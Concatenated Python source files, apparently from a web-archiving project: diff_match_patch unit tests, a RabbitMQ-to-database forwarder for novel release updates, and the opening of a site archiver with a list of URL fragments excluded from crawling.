		p = self.dmp.patch_fromText("@@ -21,4 +21,10 @@\n-jump\n+somersault\n")[0]
		self.dmp.patch_addContext(p, "The quick brown fox jumps.")
		self.assertEqual("@@ -17,10 +17,16 @@\n fox \n-jump\n+somersault\n s.\n", str(p))

		# Same, but not enough leading context.
		p = self.dmp.patch_fromText("@@ -3 +3,2 @@\n-e\n+at\n")[0]
		self.dmp.patch_addContext(p, "The quick brown fox jumps.")
		self.assertEqual("@@ -1,7 +1,8 @@\n Th\n-e\n+at\n  qui\n", str(p))

		# Same, but with ambiguity.
		p = self.dmp.patch_fromText("@@ -3 +3,2 @@\n-e\n+at\n")[0]
		self.dmp.patch_addContext(p, "The quick brown fox jumps.  The quick brown fox crashes.")
		self.assertEqual("@@ -1,27 +1,28 @@\n Th\n-e\n+at\n  quick brown fox jumps. \n", str(p))

	def testPatchMake(self):
		# Null case.
		patches = self.dmp.patch_make("", "")
		self.assertEqual("", self.dmp.patch_toText(patches))

		text1 = "The quick brown fox jumps over the lazy dog."
		text2 = "That quick brown fox jumped over a lazy dog."
		# Text2+Text1 inputs.
		expectedPatch = "@@ -1,8 +1,7 @@\n Th\n-at\n+e\n  qui\n@@ -21,17 +21,18 @@\n jump\n-ed\n+s\n  over \n-a\n+the\n  laz\n"
		# The second patch must be "-21,17 +21,18", not "-22,17 +21,18" due to rolling context.
		patches = self.dmp.patch_make(text2, text1)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Text1+Text2 inputs.
		expectedPatch = "@@ -1,11 +1,12 @@\n Th\n-e\n+at\n  quick b\n@@ -22,18 +22,17 @@\n jump\n-s\n+ed\n  over \n-the\n+a\n  laz\n"
		patches = self.dmp.patch_make(text1, text2)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Diff input.
		diffs = self.dmp.diff_main(text1, text2, False)
		patches = self.dmp.patch_make(diffs)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Text1+Diff inputs.
		patches = self.dmp.patch_make(text1, diffs)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Text1+Text2+Diff inputs (deprecated).
		patches = self.dmp.patch_make(text1, text2, diffs)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Character encoding.
		patches = self.dmp.patch_make("`1234567890-=[]\\;',./", "~!@#$%^&*()_+{}|:\"<>?")
		self.assertEqual("@@ -1,21 +1,21 @@\n-%601234567890-=%5B%5D%5C;',./\n+~!@#$%25%5E&*()_+%7B%7D%7C:%22%3C%3E?\n", self.dmp.patch_toText(patches))

		# Character decoding.
		diffs = [(self.dmp.DIFF_DELETE, "`1234567890-=[]\\;',./"), (self.dmp.DIFF_INSERT, "~!@#$%^&*()_+{}|:\"<>?")]
		self.assertEqual(diffs, self.dmp.patch_fromText("@@ -1,21 +1,21 @@\n-%601234567890-=%5B%5D%5C;',./\n+~!@#$%25%5E&*()_+%7B%7D%7C:%22%3C%3E?\n")[0].diffs)

		# Long string with repeats.
		text1 = ""
		for x in range(100):
			text1 += "abcdef"
		text2 = text1 + "123"
		expectedPatch = "@@ -573,28 +573,31 @@\n cdefabcdefabcdefabcdefabcdef\n+123\n"
		patches = self.dmp.patch_make(text1, text2)
		self.assertEqual(expectedPatch, self.dmp.patch_toText(patches))

		# Test null inputs.
		try:
			self.dmp.patch_make(None, None)
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass

	def testPatchSplitMax(self):
		# Assumes that Match_MaxBits is 32.
		patches = self.dmp.patch_make("abcdefghijklmnopqrstuvwxyz01234567890", "XabXcdXefXghXijXklXmnXopXqrXstXuvXwxXyzX01X23X45X67X89X0")
		self.dmp.patch_splitMax(patches)
		self.assertEqual("@@ -1,32 +1,46 @@\n+X\n ab\n+X\n cd\n+X\n ef\n+X\n gh\n+X\n ij\n+X\n kl\n+X\n mn\n+X\n op\n+X\n qr\n+X\n st\n+X\n uv\n+X\n wx\n+X\n yz\n+X\n 012345\n@@ -25,13 +39,18 @@\n zX01\n+X\n 23\n+X\n 45\n+X\n 67\n+X\n 89\n+X\n 0\n", self.dmp.patch_toText(patches))

		patches = self.dmp.patch_make("abcdef1234567890123456789012345678901234567890123456789012345678901234567890uvwxyz", "abcdefuvwxyz")
		oldToText = self.dmp.patch_toText(patches)
		self.dmp.patch_splitMax(patches)
		self.assertEqual(oldToText, self.dmp.patch_toText(patches))

		patches = self.dmp.patch_make("1234567890123456789012345678901234567890123456789012345678901234567890", "abc")
		self.dmp.patch_splitMax(patches)
		self.assertEqual("@@ -1,32 +1,4 @@\n-1234567890123456789012345678\n 9012\n@@ -29,32 +1,4 @@\n-9012345678901234567890123456\n 7890\n@@ -57,14 +1,3 @@\n-78901234567890\n+abc\n", self.dmp.patch_toText(patches))

		patches = self.dmp.patch_make("abcdefghij , h : 0 , t : 1 abcdefghij , h : 0 , t : 1 abcdefghij , h : 0 , t : 1", "abcdefghij , h : 1 , t : 1 abcdefghij , h : 1 , t : 1 abcdefghij , h : 0 , t : 1")
		self.dmp.patch_splitMax(patches)
		self.assertEqual("@@ -2,32 +2,32 @@\n bcdefghij , h : \n-0\n+1\n  , t : 1 abcdef\n@@ -29,32 +29,32 @@\n bcdefghij , h : \n-0\n+1\n  , t : 1 abcdef\n", self.dmp.patch_toText(patches))

	def testPatchAddPadding(self):
		# Both edges full.
		patches = self.dmp.patch_make("", "test")
		self.assertEqual("@@ -0,0 +1,4 @@\n+test\n", self.dmp.patch_toText(patches))
		self.dmp.patch_addPadding(patches)
		self.assertEqual("@@ -1,8 +1,12 @@\n %01%02%03%04\n+test\n %01%02%03%04\n", self.dmp.patch_toText(patches))

		# Both edges partial.
		patches = self.dmp.patch_make("XY", "XtestY")
		self.assertEqual("@@ -1,2 +1,6 @@\n X\n+test\n Y\n", self.dmp.patch_toText(patches))
		self.dmp.patch_addPadding(patches)
		self.assertEqual("@@ -2,8 +2,12 @@\n %02%03%04X\n+test\n Y%01%02%03\n", self.dmp.patch_toText(patches))

		# Both edges none.
		patches = self.dmp.patch_make("XXXXYYYY", "XXXXtestYYYY")
		self.assertEqual("@@ -1,8 +1,12 @@\n XXXX\n+test\n YYYY\n", self.dmp.patch_toText(patches))
		self.dmp.patch_addPadding(patches)
		self.assertEqual("@@ -5,8 +5,12 @@\n XXXX\n+test\n YYYY\n", self.dmp.patch_toText(patches))

	def testPatchApply(self):
		self.dmp.Match_Distance = 1000
		self.dmp.Match_Threshold = 0.5
		self.dmp.Patch_DeleteThreshold = 0.5
		# Null case.
		patches = self.dmp.patch_make("", "")
		results = self.dmp.patch_apply(patches, "Hello world.")
		self.assertEqual(("Hello world.", []), results)

		# Exact match.
		patches = self.dmp.patch_make("The quick brown fox jumps over the lazy dog.", "That quick brown fox jumped over a lazy dog.")
		results = self.dmp.patch_apply(patches, "The quick brown fox jumps over the lazy dog.")
		self.assertEqual(("That quick brown fox jumped over a lazy dog.", [True, True]), results)

		# Partial match.
		results = self.dmp.patch_apply(patches, "The quick red rabbit jumps over the tired tiger.")
		self.assertEqual(("That quick red rabbit jumped over a tired tiger.", [True, True]), results)

		# Failed match.
		results = self.dmp.patch_apply(patches, "I am the very model of a modern major general.")
		self.assertEqual(("I am the very model of a modern major general.", [False, False]), results)

		# Big delete, small change.
		patches = self.dmp.patch_make("x1234567890123456789012345678901234567890123456789012345678901234567890y", "xabcy")
		results = self.dmp.patch_apply(patches, "x123456789012345678901234567890-----++++++++++-----123456789012345678901234567890y")
		self.assertEqual(("xabcy", [True, True]), results)

		# Big delete, big change 1.
		patches = self.dmp.patch_make("x1234567890123456789012345678901234567890123456789012345678901234567890y", "xabcy")
		results = self.dmp.patch_apply(patches, "x12345678901234567890---------------++++++++++---------------12345678901234567890y")
		self.assertEqual(("xabc12345678901234567890---------------++++++++++---------------12345678901234567890y", [False, True]), results)

		# Big delete, big change 2.
		self.dmp.Patch_DeleteThreshold = 0.6
		patches = self.dmp.patch_make("x1234567890123456789012345678901234567890123456789012345678901234567890y", "xabcy")
		results = self.dmp.patch_apply(patches, "x12345678901234567890---------------++++++++++---------------12345678901234567890y")
		self.assertEqual(("xabcy", [True, True]), results)
		self.dmp.Patch_DeleteThreshold = 0.5

		# Compensate for failed patch.
		self.dmp.Match_Threshold = 0.0
		self.dmp.Match_Distance = 0
		patches = self.dmp.patch_make("abcdefghijklmnopqrstuvwxyz--------------------1234567890", "abcXXXXXXXXXXdefghijklmnopqrstuvwxyz--------------------1234567YYYYYYYYYY890")
		results = self.dmp.patch_apply(patches, "ABCDEFGHIJKLMNOPQRSTUVWXYZ--------------------1234567890")
		self.assertEqual(("ABCDEFGHIJKLMNOPQRSTUVWXYZ--------------------1234567YYYYYYYYYY890", [False, True]), results)
		self.dmp.Match_Threshold = 0.5
		self.dmp.Match_Distance = 1000

		# No side effects.
		patches = self.dmp.patch_make("", "test")
		patchstr = self.dmp.patch_toText(patches)
		results = self.dmp.patch_apply(patches, "")
		self.assertEqual(patchstr, self.dmp.patch_toText(patches))

		# No side effects with major delete.
		patches = self.dmp.patch_make("The quick brown fox jumps over the lazy dog.", "Woof")
		patchstr = self.dmp.patch_toText(patches)
		self.dmp.patch_apply(patches, "The quick brown fox jumps over the lazy dog.")
		self.assertEqual(patchstr, self.dmp.patch_toText(patches))

		# Edge exact match.
		patches = self.dmp.patch_make("", "test")
		self.dmp.patch_apply(patches, "")
		self.assertEqual(("test", [True]), results)

		# Near edge exact match.
		patches = self.dmp.patch_make("XY", "XtestY")
		results = self.dmp.patch_apply(patches, "XY")
		self.assertEqual(("XtestY", [True]), results)

		# Edge partial match.
		patches = self.dmp.patch_make("y", "y123")
		results = self.dmp.patch_apply(patches, "x")
		self.assertEqual(("x123", [True]), results)


if __name__ == "__main__":
	unittest.main()














import time
import urllib.parse
import pprint
import json
import datetime
import traceback
import os.path
import json
import calendar

import sqlalchemy.exc

from WebMirror.OutputFilters.util.MessageConstructors import fix_string
from WebMirror.OutputFilters.util.MessageConstructors import createReleasePacket
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import WebMirror.OutputFilters.FilterBase
import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
import WebMirror.OutputFilters.AmqpInterface
from WebMirror.OutputFilters.util.TitleParsers import extractTitle
import WebMirror.database as db

MIN_RATING = 2.5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################





import settings

class NuForwarder(WebMirror.OutputFilters.FilterBase.FilterBase):
	'''
		NU Updates are batched and only forwarded to the output periodically,
		to make timing attacks somewhat more difficult.
		It's still possible to look at execution edge-times, albeit somewhat
		smeared out by the multiple intercontinental message queues, but if that
		becomes an issue, it'll be simple enough to introduce fuzzy delays.

		Also, hurrah, I got my distributed RPC system going again, so that's nice.

		Example JSON response from distributed worker:
			{
			    "nu_release": {
			        "actual_target": "http://shiroyukitranslations.com/the-strongest-dan-god-chapter-63-dominating-business-channels/",
			        "seriesname": "The Strongest Dan God",
			        "outbound_wrapper": "http://www.novelupdates.com/extnu/134595/",
			        "groupinfo": "Shiroyukineko Translations",
			        "releaseinfo": "c63",
			        "addtime": "2016-05-30T04:16:41.351430",
			        "referrer": "https://www.novelupdates.com"
			    }
			}
	'''


	# Shut up the abstract base class.
	wanted_mimetypes = None
	want_priority    = None
	extractContent = None

	loggerPath = "Main.Forwarder.Nu"


	def __init__(self, connect=True):

		input_settings = {
			'RABBIT_LOGIN'      : settings.NU_RABBIT_LOGIN,
			'RABBIT_PASWD'      : settings.NU_RABBIT_PASWD,
			'RABBIT_SRVER'      : settings.NU_RABBIT_SRVER,
			'RABBIT_VHOST'      : settings.NU_RABBIT_VHOST,
			'synchronous'       : False,
			'prefetch'          : 1,
			'master'            : True,
			'taskq_task'        : 'nuresponse.master.q',
			'taskq_response'    : 'nureleases.master.q',
			'poll_rate'         : 1.0 / 25,
		}
		if connect:
			self.data_in = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(input_settings)

		# output_settings = {
		# 	'RABBIT_LOGIN'      : settings.RABBIT_LOGIN,
		# 	'RABBIT_PASWD'      : settings.RABBIT_PASWD,
		# 	'RABBIT_SRVER'      : settings.RABBIT_SRVER,
		# 	'RABBIT_VHOST'      : settings.RABBIT_VHOST,
		# 	'taskq_task'     : 'task.master.q',
		# 	'taskq_response' : 'response.master.q',
		# }

		self.name_lut, self.group_lut = load_lut()

		super().__init__(db_sess = db.get_db_session(postfix='nu_forwarder'), connect=connect)


	def __del__(self):
		db.delete_db_session(postfix='nu_forwarder')


	def insert_new_release(self, input_data):
		new = db.NuOutboundWrapperMap(
				client_id        = input_data['nu_release']['client_id'],
				client_key       = input_data['nu_release']['client_key'],
				seriesname       = input_data['nu_release']['seriesname'],
				releaseinfo      = input_data['nu_release']['releaseinfo'],
				groupinfo        = input_data['nu_release']['groupinfo'],
				referrer         = input_data['nu_release']['referrer'],
				outbound_wrapper = input_data['nu_release']['outbound_wrapper'],
				actual_target    = input_data['nu_release']['actual_target'],
			)

		while 1:
			try:
				self.db_sess.add(new)
				self.db_sess.commit()
				return

			except sqlalchemy.exc.InvalidRequestError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
				traceback.print_exc()
			except sqlalchemy.exc.OperationalError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
			except sqlalchemy.exc.IntegrityError:

				with open("nu_db_collisions.txt", "wa") as fp:
					fp.write(str(input_data))
					fp.write("\n")

				print("[upsertRssItems] -> Integrity error!")
				traceback.print_exc()
				self.db_sess.rollback()
				break


	def add_release(self, input_data):

		expected = [
			'seriesname',
			'releaseinfo',
			'groupinfo',
			'referrer',
			'outbound_wrapper',
			'actual_target',
			'client_id',
			'client_key',
		]

		# Patch incoming data using the series name LUT.
		if input_data['nu_release']['seriesname'] in self.name_lut:
			input_data['nu_release']['seriesname'] = self.name_lut[input_data['nu_release']['seriesname']]

		# I think the redirect unwrapper occationally times out, or something?
		if input_data['nu_release']['actual_target'].startswith('https://www.novelupdates.com'):
			return

		if not 'nu_release' in input_data:
			with open("nu bad release %s.txt" % time.time(), "w") as fp:
				fp.write("Release packet that doesn't seem valid?\n")
				fp.write(str(input_data))
				fp.write("\n")


			raise ValueError("Wat?")

		elif not isinstance(input_data, dict):

			with open("nu bad release %s.txt" % time.time(), "w") as fp:
				fp.write("Release packet that doesn't seem valid?\n")
				fp.write(str(input_data))
				fp.write("\n")

			raise ValueError("Wat?")

		elif not all([item in input_data['nu_release'] for item in expected]):
			with open("nu missing part release %s.txt" % time.time(), "w") as fp:
				fp.write("Release packet that doesn't seem valid?\n")
				fp.write(str(input_data))
				fp.write("\n")

			print(input_data['nu_release'])
			raise ValueError("Wat?")

		self.retrigger_page(input_data['nu_release']['actual_target'])

		have = self.db_sess.query(db.NuOutboundWrapperMap)                                                  \
				.filter(db.NuOutboundWrapperMap.client_id     == input_data['nu_release']['client_id'])     \
				.filter(db.NuOutboundWrapperMap.client_key    == input_data['nu_release']['client_key'])    \
				.filter(db.NuOutboundWrapperMap.seriesname    == input_data['nu_release']['seriesname'])    \
				.filter(db.NuOutboundWrapperMap.releaseinfo   == input_data['nu_release']['releaseinfo'])   \
				.filter(db.NuOutboundWrapperMap.groupinfo     == input_data['nu_release']['groupinfo'])     \
				.filter(db.NuOutboundWrapperMap.actual_target == input_data['nu_release']['actual_target']) \
				.scalar()
		if not have:
			self.insert_new_release(input_data)

	def process_inbound_messages(self):
		empties = 0
		while 1:
			new = self.data_in.get_item()
			if new:
				if isinstance(new, bytes):
					new = new.decode("utf-8")
				new = json.loads(new)
				self.add_release(new)

				empties = 0
			else:
				empties += 1
				time.sleep(1)
			print("Looping!", empties)
			if empties > 10:
				print("returning?")
				return

	def go(self):
		try:
			self.process_inbound_messages()
			self.fix_names()
			self.consolidate_validated()
			self.emit_verified_releases()
		finally:
			self.close()

	def fix_names(self):
		for old, new in self.name_lut.items():
			have = self.db_sess.query(db.NuOutboundWrapperMap)         \
				.filter(db.NuOutboundWrapperMap.seriesname     == old) \
				.all()
			for row in have:
				try:
					assert row.seriesname == old
					row.seriesname = new
					self.log.info("Fixing name row: %s -> %s", old, row.seriesname)

					self.db_sess.commit()
				except sqlalchemy.exc.IntegrityError:
					self.log.error("Failure")
					traceback.print_exc()
					self.db_sess.rollback()
					self.db_sess.delete(row)
					self.db_sess.commit()

		for old, new in self.group_lut.items():
			have = self.db_sess.query(db.NuOutboundWrapperMap)         \
				.filter(db.NuOutboundWrapperMap.groupinfo     == old) \
				.all()
			for row in have:
				try:
					assert row.groupinfo == old
					row.groupinfo = new
					self.log.info("Fixing group row: %s -> %s", old, row.groupinfo)

					self.db_sess.commit()
				except sqlalchemy.exc.IntegrityError:
					self.log.error("Failure")
					traceback.print_exc()
					self.db_sess.rollback()
					self.db_sess.delete(row)
					self.db_sess.commit()



	def do_release(self, item):

		vol, chap, frag, postfix = extractVolChapterFragmentPostfix(item['releaseinfo'])


		ret = {
			'srcname'      : fix_string(item['groupinfo']),
			'series'       : fix_string(item['seriesname']),
			'vol'          : vol,
			'chp'          : chap,
			'frag'         : frag,
			'published'    : calendar.timegm(item['addtime'].timetuple()),
			'itemurl'      : item['actual_target'],
			'postfix'      : fix_string(postfix),
			'author'       : None,
			'tl_type'      : 'translated',
			'match_author' : False,

			'nu_release'   : True

		}

		release = createReleasePacket(ret, beta=False)
		# print("Packed release:", release)
		self.amqp_put_item(release)


	def emit_verified_releases(self):
			have = self.db_sess.query(db.NuOutboundWrapperMap)     \
				.filter(db.NuOutboundWrapperMap.validated == True) \
				.all()
			agg_releases = {}
			for row in have:
				try:
					key = (row.seriesname, row.releaseinfo, row.groupinfo)
					if not key in agg_releases:

						agg_releases[key] = {
							'releaseinfo'   : row.releaseinfo,
							'groupinfo'     : row.groupinfo,
							'seriesname'    : row.seriesname,
							'addtime'       : row.released_on,
							'actual_target' : row.actual_target,
						}
					else:
						assert str(row.releaseinfo)   == agg_releases[key]['releaseinfo'],   "Wat? (%s) %s -> %s" % (
							row.releaseinfo   == agg_releases[key]['releaseinfo'], row.releaseinfo,     agg_releases[key]['releaseinfo'])
						assert str(row.groupinfo)     == agg_releases[key]['groupinfo'],     "Wat? (%s) %s -> %s" % (
							row.groupinfo     == agg_releases[key]['groupinfo'], row.groupinfo,         agg_releases[key]['groupinfo'])
						assert str(row.seriesname)    == agg_releases[key]['seriesname'],    "Wat? (%s) %s -> %s" % (
							row.seriesname    == agg_releases[key]['seriesname'], row.seriesname,       agg_releases[key]['seriesname'])

						if 'blogspot' in row.actual_target:
							# Blogspot is ANNOYING, and has a bajillion possible TLDs that all resolve the same place.
							# Therefore, ignore the TLD from the netloc
							url1 = urllib.parse.urlsplit(row.actual_target)
							url2 = urllib.parse.urlsplit(agg_releases[key]['actual_target'])
							nl1 = url1.netloc.split(".")
							nl2 = url2.netloc.split(".")
							l = max(min(len(nl1), len(nl2))-1, 1)
							print("l", l)

							url1 = (url1.scheme, nl1[0:l], url1.path, url1.query, url1.fragment)
							url2 = (url2.scheme, nl2[0:l], url2.path, url2.query, url2.fragment)
							assert url1 == url2, "wat? %s -> %s" % (url1, url2)
						elif 'docs.google.com' in row.actual_target:
							# We don't care about the query or fragment for google doc entries.
							url1 = urllib.parse.urlsplit(row.actual_target)
							url2 = urllib.parse.urlsplit(agg_releases[key]['actual_target'])
							url1 = (url1.scheme, url1.netloc, url1.path)
							url2 = (url2.scheme, url2.netloc, url2.path)
							assert url1 == url2, "wat? %s -> %s" % (url1, url2)

						else:
							assert str(row.actual_target) == agg_releases[key]['actual_target'], "Wat? (%s) %s -> %s" % (row.actual_target == agg_releases[key]['actual_target'], row.actual_target, agg_releases[key]['actual_target'])
				except AssertionError:
					agg_releases[key] = None
				except TypeError:
					agg_releases[key] = None


			for release in agg_releases.values():
				if release:
					self.do_release(release)
			# print("Valid releases:")
			# print(agg_releases)


	def consolidate_validated(self):

		rows = self.db_sess.query(db.NuOutboundWrapperMap).all()
		rowlut = {}
		for row in rows:
			key = row.seriesname, row.releaseinfo, row.groupinfo, row.actual_target
			if not key in rowlut:
				rowlut[key] = []
			rowlut[key].append(row)

		for valueset in [tmp for tmp in rowlut.values() if len(tmp) > 1]:
			if not all(x.validated == valueset[0].validated for x in valueset):
				if any(x.validated == True for x in valueset):
					for val in valueset:
						val.validated = True
		self.db_sess.commit()

	def close(self):
		print("Closing")
		self.data_in.close()
		self.data_in = None
		self._amqpint.close()
		self._amqpint = None


	def __del__(self):
		try:
			self.close()
		except Exception:
			pass


	def _go(self, *args, **kwargs):
		self.go()

def load_lut():
	outf = os.path.join(os.path.split(__file__)[0], 'name_fix_lut.json')
	jctnt = open(outf).read()
	lut = json.loads(jctnt)
	return lut



if __name__ == '__main__':
	import logSetup
	logSetup.initLogging()

	intf = NuForwarder()
	intf.go()
	#print(load_lut())
	# intf = NuForwarder(connect=False)
	# intf.fix_names()
	# intf.consolidate_validated()
	# try:
	# 	intf.fix_names()
	# finally:
	# 	intf.close()
	# intf.go()










if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

import WebMirror.rules
import WebMirror.SpecialCase
import WebMirror.LogBase as LogBase
import runStatus
import queue
import time
import os.path
import os
import sys
import sqlalchemy.exc
import random
import settings
import pprint

import Misc.diff_match_patch as dmp
from sqlalchemy import desc

from sqlalchemy.sql import text
from sqlalchemy import distinct
from sqlalchemy.dialects import postgresql

import WebMirror.util.urlFuncs
import urllib.parse
import traceback
import datetime
import psycopg2

from sqlalchemy.sql import text
from sqlalchemy.sql import func
import WebMirror.util.webFunctions as webFunctions

import hashlib
from WebMirror.Exceptions import DownloadException
import WebMirror.Fetch
import WebMirror.database as db
from config import C_RESOURCE_DIR


if "debug" in sys.argv:
	CACHE_DURATION = 1
	RSC_CACHE_DURATION = 1
	# CACHE_DURATION = 60 * 5
	# RSC_CACHE_DURATION = 60 * 60 * 5
else:
	CACHE_DURATION = 60 * 60 * 24 * 7
	RSC_CACHE_DURATION = 60 * 60 * 24 * 147



GLOBAL_BAD = [
			'/xmlrpc.php',
			'gprofiles.js',
			'netvibes.com',
			'accounts.google.com',
			'edit.yahoo.com',
			'add.my.yahoo.com',
			'public-api.wordpress.com',
			'r-login.wordpress.com',
			'twitter.com',
			'facebook.com',
			'public-api.wordpress.com',
			'wretch.cc',
			'ws-na.amazon-adsystem.com',
			'delicious.com',
			'paypal.com',
			'digg.com',
			'topwebfiction.com',
			'/page/page/',
			'addtoany.com',
			'stumbleupon.com',
			'delicious.com',
			'/comments/feed/',
			'fbcdn-',
			'/wp-json/',
			'reddit.com',
			'/osd.xml',
			'/wp-login.php',
			'?openidserver=1',
			'newsgator.com',
			'technorati.com',
			'pixel.wp.com',
			'a.wikia-beacon.com',
			'b.scorecardresearch.com',
			'//mail.google.com',
			'javascript:void',
			'twitter.com/intent/',
			'www.pinterest.com/pin/',
			'www.wattpad.com/login?',
			'/embed?',

			# Tumblr can seriously go fuck itself with a rusty stake
			'tumblr.com/widgets/',
			'www.tumblr.com/login',
			'://tumblr.com',
			'&share=tumblr',

			'/wp-content/plugins/',
			'/wp-content/themes/',
			'/wp-json/oembed/',

			# At least one site (booksie) is serving the favicon with a mime-type
			# of "text/plain", which then confuses the absolute crap out of the
			# mime-type dispatcher.
			# Since I'm not re-serving favicons anyways, just do not fetch them ever.
			'favicon.ico',

			# Try to not scrape inline images
			';base64,',

			"www.fashionmodeldirectory.com",
			"www.watchingprivatepractice.com",
			"Ebonyimages.jupiterimages.com",

			# More garbage issues.
			'"https',
	]



def getHash(fCont):

	m = hashlib.md5()
	m.update(fCont)
	return m.hexdigest()




def saveCoverFile(filecont, fHash, filename):
	# use the first 3 chars of the hash for the folder name.
	# Since it's hex-encoded, that gives us a max of 2^12 bits of
	# directories, or 4096 dirs.
	fHash = fHash.upper()
	dirName = fHash[:3]

	dirPath = os.path.join(C_RESOURCE_DIR, dirName)
	if not os.path.exists(dirPath):
		os.makedirs(dirPath)

	ext = os.path.splitext(filename)[-1]
	ext   = ext.lower()

	# The "." is part of the ext.
	filename = '{filename}{ext}'.format(filename=fHash, ext=ext)


	# The "." is part of the ext.
	filename = '{filename}{ext}'.format(filename=fHash, ext=ext)

	# Flask config values have specious "/./" crap in them. Since that gets broken through
	# the abspath canonization, we pre-canonize the config path so it compares
	# properly.
	confpath = os.path.abspath(C_RESOURCE_DIR)

	fqpath = os.path.join(dirPath, filename)
	fqpath = os.path.abspath(fqpath)

	if not fqpath.startswith(confpath):
		raise ValueError("Generating the file path to save a cover produced a path that did not include the storage directory?")

	locpath = fqpath[len(confpath):]
	if not os.path.exists(fqpath):
		print("Saving file to path: '{fqpath}'!".format(fqpath=fqpath))
		with open(fqpath, "wb") as fp:
			fp.write(filecont)
	else:
		print("File '{fqpath}' already exists!".format(fqpath=fqpath))

	if locpath.startswith("/"):
		locpath = locpath[1:]
	return locpath

def build_rewalk_time_lut(rules):
	ret = {}

	for rset in rules:
		if rset['netlocs']:
			for netloc in rset['netlocs']:
				if rset['rewalk_interval_days']:
					ret[netloc] = rset['rewalk_interval_days']
	return ret

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################


class SiteArchiver(LogBase.LoggerMixin):

	loggerPath = "Main.SiteArchiver"

	# Fetch items up to 1,000,000 (1 million) links away from the root source
	# This (functionally) equates to no limit.
	# The db defaults to  (e.g. max signed integer value) anyways
	FETCH_DISTANCE = 1000 * 1000

	def __init__(self, cookie_lock, db_interface, new_job_queue, run_filters=True, response_queue=None, use_socks=False):
		# print("SiteArchiver __init__()")
		super().__init__()

		self.new_job_queue = new_job_queue
		self.cookie_lock = cookie_lock
		self.resp_q  = response_queue
		self.db_sess = db_interface
		self.db      = db

		# print("SiteArchiver database imported")

		self.ruleset = WebMirror.rules.load_rules()
		self.netloc_rewalk_times = build_rewalk_time_lut(self.ruleset)
		self.fetcher = WebMirror.Fetch.ItemFetcher
		self.wg = webFunctions.WebGetRobust(cookie_lock=cookie_lock, use_socks=use_socks)

		self.specialty_handlers = WebMirror.rules.load_special_case_sites()


		from activePlugins import INIT_CALLS
		for item in INIT_CALLS:
			item(self)

		# print("SiteArchiver rules loaded")
		self.relinkable = set()
		for item in self.ruleset:
			[self.relinkable.add(url) for url in item['fileDomains']]         #pylint: disable=W0106
			if item['netlocs'] != None:
				[self.relinkable.add(url) for url in item['netlocs']]             #pylint: disable=W0106


		self.ctnt_filters = {}
		self.rsc_filters  = {}


		for item in self.ruleset:

			if not item['netlocs']:
				continue

			for netloc in item['netlocs']:
				self.ctnt_filters[netloc] = item['netlocs']

			for netloc in item['fileDomains']:
				self.rsc_filters[netloc]  = item['fileDomains']

			# print("processing rsc")
			# print(item['fileDomains'])
			# rsc_vals  = self.buildUrlPermutations(item['fileDomains'], item['netlocs'])

		# self.log.info("Content filter size: %s. Resource filter size %s.", len(self.ctnt_filters), len(self.rsc_filters))
		# print("SiteArchiver initializer complete")

	########################################################################################################################
	#
	#	########    ###     ######  ##    ##    ########  ####  ######  ########     ###    ########  ######  ##     ## ######## ########
	#	   ##      ## ##   ##    ## ##   ##     ##     ##  ##  ##    ## ##     ##   ## ##      ##    ##    ## ##     ## ##       ##     ##
	#	   ##     ##   ##  ##       ##  ##      ##     ##  ##  ##       ##     ##  ##   ##     ##    ##       ##     ## ##       ##     ##
	#	   ##    ##     ##  ######  #####       ##     ##  ##   ######  ########  ##     ##    ##    ##       ######### ######   ########
	#	   ##    #########       ## ##  ##      ##     ##  ##        ## ##        #########    ##    ##       ##     ## ##       ##   ##
	#	   ##    ##     ## ##    ## ##   ##     ##     ##  ##  ##    ## ##        ##     ##    ##    ##    ## ##     ## ##       ##    ##
	#	   ##    ##     ##  ######  ##    ##    ########  ####  ######  ##        ##     ##    ##     ######  ##     ## ######## ##     ##
	#
	########################################################################################################################

	# Minimal proxy because I want to be able to call the fetcher without affecting the DB.
	def fetch(self, job, preretrieved=None):
		fetcher = self.fetcher(rules       = self.ruleset,
							target_url     = job.url,
							start_url      = job.starturl,
							cookie_lock    = self.cookie_lock,
							job            = job,
							wg_handle      = self.wg,
							response_queue = self.resp_q,
							db_sess        = self.db_sess)
		response = fetcher.fetch(preretrieved = preretrieved)
		return response

	# This is the main function that's called by the task management system.
	# Retreive remote content at `url`, call the appropriate handler for the
	# transferred content (e.g. is it an image/html page/binary file)
	def dispatchRequest(self, job, preretrieved=None):
		response = self.fetch(job, preretrieved=preretrieved)
		self.log.info("Dispatching job: %s, url: %s", job, job.url)
		self.processResponse(job, response)

	def processResponse(self, job, response):
		if "file" in response:
			# No title is present in a file response
			self.upsertFileResponse(job, response)
		elif 'rss-content' in response:
			self.upsertRssItems(job, response['rss-content'], job.url)
